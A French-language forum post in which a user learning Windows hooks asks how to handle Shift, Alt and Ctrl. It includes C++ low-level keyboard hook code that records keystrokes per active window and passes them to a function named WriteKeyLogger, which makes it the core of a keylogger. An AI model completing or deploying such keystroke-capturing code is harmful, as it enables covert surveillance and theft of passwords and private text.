Bonsoir a tous,
j'essay de me familiariser au hook. Pour cela, je susi en train de faire des truc basique hook souris, clavier etc. Mais je bloque un peu sur le hook clavier.
J'aimerais savoir comment savoir si la touche shift est appuyée afin d'afficher le bon caractere et non celui sans l'appuie sur shift ... de même pour alt, ctrl... (combinaison ctr + c etc ..)
Voici mon code :
Merci d'avance.
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42 __declspec(dllexport) LRESULT CALLBACK KeyEvent(int nCode, WPARAM wParam, LPARAM lParam ) { GString name = GetActiveWindowName(); if ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN)) { BYTE KeyState[256]; WORD wBuf; char ch; KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*)lParam); GetKeyboardState(KeyState); ToAscii(hooked.vkCode, hooked.scanCode ,KeyState,&wBuf,0); switch (hooked.vkCode) { case VK_TAB : { _map.EraseKey(name); WriteKeyLogger(name); break; } case VK_RETURN : { _map.EraseKey(name); WriteKeyLogger(name); break; } case VK_BACK : { _map[name] = _map[name].Substr(0, _map[name].Size() - 1); break; } case VK_NUMPAD0 : { _map[name] += "0"; break; } case VK_NUMPAD1 : { _map[name] += "1"; break; } case VK_NUMPAD2 : { _map[name] += "2"; break; } case VK_NUMPAD3 : { _map[name] += "3"; break; } case VK_NUMPAD4 : { _map[name] += "4"; break; } case VK_NUMPAD5 : { _map[name] += "5"; break; } case VK_NUMPAD6 : { _map[name] += "6"; break; } case VK_NUMPAD7 : { _map[name] += "7"; break; } case VK_NUMPAD8 : { _map[name] += "8"; break; } case VK_NUMPAD9 : { _map[name] += "9"; break; } case VK_MULTIPLY: { _map[name] += "*"; break; } case VK_ADD : { _map[name] += "+"; break; } case VK_SUBTRACT: { _map[name] += "-"; break; } case VK_DECIMAL : { _map[name] += "."; break; } case VK_DIVIDE : { _map[name] += "/"; break; } case VK_DELETE : {printf("<Suppr>");break;} default : { ch=((char)wBuf); _map[name] += ch; break; } } } return CallNextHookEx(hKeyHook, nCode,wParam,lParam); }
Cordialement,
NeoKript
Partager